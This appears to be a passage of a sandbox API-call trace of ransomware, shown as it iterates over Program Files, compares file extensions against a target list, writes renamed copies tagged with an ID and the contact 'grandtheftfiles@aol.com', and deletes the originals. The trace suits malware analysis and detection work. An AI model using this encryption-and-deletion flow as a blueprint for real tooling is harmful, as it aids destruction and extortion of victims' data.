	[0071.526] lstrlenW (lpString=".bz2") returned 4
	[0071.526] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.526] lstrlenW (lpString=".7z") returned 3
	[0071.526] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.526] lstrlenW (lpString=".dbf") returned 4
	[0071.526] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.526] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString=".1cd") returned 4
	[0071.527] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString=".jpg") returned 4
	[0071.527] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString=".doc") returned 4
	[0071.527] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.527] lstrlenW (lpString=".docx") returned 5
	[0071.527] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.527] lstrlenW (lpString=".pdf") returned 4
	[0071.527] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.527] lstrlenW (lpString=".xls") returned 4
	[0071.527] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.527] lstrlenW (lpString=".xlsx") returned 5
	[0071.527] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.527] lstrlenW (lpString=".ppt") returned 4
	[0071.527] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString=".zip") returned 4
	[0071.527] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.527] lstrlenW (lpString=".rar") returned 4
	[0071.527] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.527] lstrlenW (lpString=".bz2") returned 4
	[0071.527] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.527] lstrlenW (lpString=".7z") returned 3
	[0071.527] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString=".dbf") returned 4
	[0071.527] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString=".1cd") returned 4
	[0071.527] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.527] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcjavas.inc") returned 55
	[0071.527] lstrlenW (lpString=".jpg") returned 4
	[0071.528] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.528] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0071.528] lstrlenW (lpString="adcvbs.inc") returned 10
	[0071.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.528] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=623) returned 1
	[0071.528] CloseHandle (hObject=0x368) returned 1
	[0071.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc")) returned 0x20
	[0071.528] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.528] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc" (normalized: "c:\\program files\\common files\\system\\msadc\\adcvbs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.528] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.528] lstrlenW (lpString=".doc") returned 4
	[0071.528] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.528] lstrlenW (lpString=".docx") returned 5
	[0071.528] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.528] lstrlenW (lpString=".pdf") returned 4
	[0071.528] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.528] lstrlenW (lpString=".xls") returned 4
	[0071.528] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.528] lstrlenW (lpString=".xlsx") returned 5
	[0071.528] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.529] lstrlenW (lpString=".ppt") returned 4
	[0071.529] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.529] lstrlenW (lpString=".zip") returned 4
	[0071.529] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.529] lstrlenW (lpString=".rar") returned 4
	[0071.529] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.529] lstrlenW (lpString=".bz2") returned 4
	[0071.529] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.529] lstrlenW (lpString=".7z") returned 3
	[0071.529] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.529] lstrlenW (lpString=".dbf") returned 4
	[0071.529] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.529] lstrlenW (lpString=".1cd") returned 4
	[0071.529] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.529] lstrlenW (lpString=".jpg") returned 4
	[0071.529] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.529] lstrlenW (lpString=".doc") returned 4
	[0071.529] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.529] lstrlenW (lpString=".docx") returned 5
	[0071.529] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.529] lstrlenW (lpString=".pdf") returned 4
	[0071.529] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.529] lstrlenW (lpString=".xls") returned 4
	[0071.529] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.529] lstrlenW (lpString=".xlsx") returned 5
	[0071.529] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.529] lstrlenW (lpString=".ppt") returned 4
	[0071.529] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.530] lstrlenW (lpString=".zip") returned 4
	[0071.530] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.530] lstrlenW (lpString=".rar") returned 4
	[0071.530] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.530] lstrlenW (lpString=".bz2") returned 4
	[0071.530] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.530] lstrlenW (lpString=".7z") returned 3
	[0071.530] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.530] lstrlenW (lpString=".dbf") returned 4
	[0071.530] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.530] lstrlenW (lpString=".1cd") returned 4
	[0071.530] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0071.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\adcvbs.inc") returned 53
	[0071.530] lstrlenW (lpString=".jpg") returned 4
	[0071.530] lstrcmpiW (lpString1=".jpg", lpString2=".inc") returned 1
	[0071.530] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0071.530] lstrlenW (lpString="oledbjvs.inc") returned 12
	[0071.530] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.530] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9804) returned 1
	[0071.530] CloseHandle (hObject=0x368) returned 1
	[0071.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20
	[0071.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0071.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0071.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0071.531] lstrlenW (lpString=".doc") returned 4
	[0071.531] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0071.531] lstrlenW (lpString=".docx") returned 5
	[0071.531] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0071.531] lstrlenW (lpString=".pdf") returned 4
	[0071.531] lstrcmpiW (lpString1=".pdf", lpString2=".inc") returned 1
	[0071.531] lstrlenW (lpString=".xls") returned 4
	[0071.531] lstrcmpiW (lpString1=".xls", lpString2=".inc") returned 1
	[0071.531] lstrlenW (lpString=".xlsx") returned 5
	[0071.531] lstrcmpiW (lpString1=".xlsx", lpString2="s.inc") returned -1
	[0071.531] lstrlenW (lpString=".ppt") returned 4
	[0071.531] lstrcmpiW (lpString1=".ppt", lpString2=".inc") returned 1
	[0071.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0071.531] lstrlenW (lpString=".zip") returned 4
	[0071.531] lstrcmpiW (lpString1=".zip", lpString2=".inc") returned 1
	[0071.531] lstrlenW (lpString=".rar") returned 4
	[0071.531] lstrcmpiW (lpString1=".rar", lpString2=".inc") returned 1
	[0071.531] lstrlenW (lpString=".bz2") returned 4
	[0071.531] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0071.531] lstrlenW (lpString=".7z") returned 3
	[0071.531] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0071.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned 56
	[0071.531] lstrlenW (lpString=".dbf") returned 4
	[0071.531] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0071.544] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.545] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.545] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.545] GetLastError () returned 0x0
	[0071.545] ReadFile (in: hFile=0x368, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0xae, lpOverlapped=0x0) returned 1
	[0071.546] WriteFile (in: hFile=0x338, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xb0, lpOverlapped=0x0) returned 1
	[0071.547] ReadFile (in: hFile=0x368, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.547] WriteFile (in: hFile=0x338, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xea, lpOverlapped=0x0) returned 1
	[0071.547] SetEndOfFile (hFile=0x338) returned 1
	[0071.547] CloseHandle (hObject=0x338) returned 1
	[0071.548] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.548] SetEndOfFile (hFile=0x368) returned 1
	[0071.552] CloseHandle (hObject=0x368) returned 1
	[0071.553] SetFileAttributesW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x26) returned 1
	[0071.553] DeleteFileW (lpFileName="C:\\Program Files\\desktop.ini" (normalized: "c:\\program files\\desktop.ini")) returned 1
	[0071.553] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.553] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.553] lstrlenW (lpString=".doc") returned 4
	[0071.553] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0071.553] lstrlenW (lpString=".docx") returned 5
	[0071.553] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0071.553] lstrlenW (lpString=".pdf") returned 4
	[0071.553] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0071.553] lstrlenW (lpString=".xls") returned 4
	[0071.553] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0071.553] lstrlenW (lpString=".xlsx") returned 5
	[0071.553] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0071.553] lstrlenW (lpString=".ppt") returned 4
	[0071.553] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0071.554] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.554] lstrlenW (lpString=".zip") returned 4
	[0071.554] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0071.554] lstrlenW (lpString=".rar") returned 4
	[0071.554] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0071.554] lstrlenW (lpString=".bz2") returned 4
	[0071.554] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0071.554] lstrlenW (lpString=".7z") returned 3
	[0071.554] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0071.554] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.554] lstrlenW (lpString=".dbf") returned 4
	[0071.554] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0071.554] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.554] lstrlenW (lpString=".1cd") returned 4
	[0071.554] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0071.554] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.554] lstrlenW (lpString=".jpg") returned 4
	[0071.554] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0071.554] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.554] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.554] lstrlenW (lpString=".doc") returned 4
	[0071.554] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1
	[0071.554] lstrlenW (lpString=".docx") returned 5
	[0071.554] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1
	[0071.554] lstrlenW (lpString=".pdf") returned 4
	[0071.554] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1
	[0071.554] lstrlenW (lpString=".xls") returned 4
	[0071.554] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1
	[0071.554] lstrlenW (lpString=".xlsx") returned 5
	[0071.554] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1
	[0071.554] lstrlenW (lpString=".ppt") returned 4
	[0071.554] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1
	[0071.554] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.554] lstrlenW (lpString=".zip") returned 4
	[0071.554] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1
	[0071.555] lstrlenW (lpString=".rar") returned 4
	[0071.555] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1
	[0071.555] lstrlenW (lpString=".bz2") returned 4
	[0071.555] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1
	[0071.555] lstrlenW (lpString=".7z") returned 3
	[0071.555] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1
	[0071.555] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.555] lstrlenW (lpString=".dbf") returned 4
	[0071.555] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1
	[0071.555] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.555] lstrlenW (lpString=".1cd") returned 4
	[0071.555] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1
	[0071.555] lstrlenW (lpString="C:\\Program Files\\desktop.ini") returned 28
	[0071.555] lstrlenW (lpString=".jpg") returned 4
	[0071.555] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1
	[0071.555] lstrcmpiW (lpString1=".txt", lpString2=".GTF") returned 1
	[0071.555] lstrlenW (lpString="Xusage.txt") returned 10
	[0071.555] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.555] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=1423) returned 1
	[0071.555] CloseHandle (hObject=0x368) returned 1
	[0071.555] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 0x20
	[0071.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0071.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0071.556] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.556] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.556] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0071.556] GetLastError () returned 0x0
	[0071.556] ReadFile (in: hFile=0x368, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x58f, lpOverlapped=0x0) returned 1
	[0071.558] WriteFile (in: hFile=0x338, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x590, lpOverlapped=0x0) returned 1
	[0071.559] ReadFile (in: hFile=0x368, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0071.559] WriteFile (in: hFile=0x338, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0071.559] SetEndOfFile (hFile=0x338) returned 1
	[0071.559] CloseHandle (hObject=0x338) returned 1
	[0071.560] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0071.560] SetEndOfFile (hFile=0x368) returned 1
	[0071.561] CloseHandle (hObject=0x368) returned 1
	[0071.561] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0071.561] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt")) returned 1
	[0071.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.561] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.561] lstrlenW (lpString=".doc") returned 4
	[0071.561] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0071.561] lstrlenW (lpString=".docx") returned 5
	[0071.561] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0071.561] lstrlenW (lpString=".pdf") returned 4
	[0071.561] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0071.561] lstrlenW (lpString=".xls") returned 4
	[0071.562] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0071.562] lstrlenW (lpString=".xlsx") returned 5
	[0071.562] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0071.562] lstrlenW (lpString=".ppt") returned 4
	[0071.562] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.562] lstrlenW (lpString=".zip") returned 4
	[0071.562] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0071.562] lstrlenW (lpString=".rar") returned 4
	[0071.562] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString=".bz2") returned 4
	[0071.562] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString=".7z") returned 3
	[0071.562] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0071.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.562] lstrlenW (lpString=".dbf") returned 4
	[0071.562] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.562] lstrlenW (lpString=".1cd") returned 4
	[0071.562] lstrcmpiW (lpString1=".1cd", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.562] lstrlenW (lpString=".jpg") returned 4
	[0071.562] lstrcmpiW (lpString1=".jpg", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.562] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.562] lstrlenW (lpString=".doc") returned 4
	[0071.562] lstrcmpiW (lpString1=".doc", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString=".docx") returned 5
	[0071.562] lstrcmpiW (lpString1=".docx", lpString2="e.txt") returned -1
	[0071.562] lstrlenW (lpString=".pdf") returned 4
	[0071.562] lstrcmpiW (lpString1=".pdf", lpString2=".txt") returned -1
	[0071.562] lstrlenW (lpString=".xls") returned 4
	[0071.562] lstrcmpiW (lpString1=".xls", lpString2=".txt") returned 1
	[0071.562] lstrlenW (lpString=".xlsx") returned 5
	[0071.562] lstrcmpiW (lpString1=".xlsx", lpString2="e.txt") returned -1
	[0071.563] lstrlenW (lpString=".ppt") returned 4
	[0071.563] lstrcmpiW (lpString1=".ppt", lpString2=".txt") returned -1
	[0071.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.563] lstrlenW (lpString=".zip") returned 4
	[0071.563] lstrcmpiW (lpString1=".zip", lpString2=".txt") returned 1
	[0071.563] lstrlenW (lpString=".rar") returned 4
	[0071.563] lstrcmpiW (lpString1=".rar", lpString2=".txt") returned -1
	[0071.563] lstrlenW (lpString=".bz2") returned 4
	[0071.563] lstrcmpiW (lpString1=".bz2", lpString2=".txt") returned -1
	[0071.563] lstrlenW (lpString=".7z") returned 3
	[0071.563] lstrcmpiW (lpString1=".7z", lpString2="txt") returned -1
	[0071.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.563] lstrlenW (lpString=".dbf") returned 4
	[0071.563] lstrcmpiW (lpString1=".dbf", lpString2=".txt") returned -1
	[0071.563] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt") returned 56
	[0071.563] lstrlenW (lpString=".1cd") returned 4
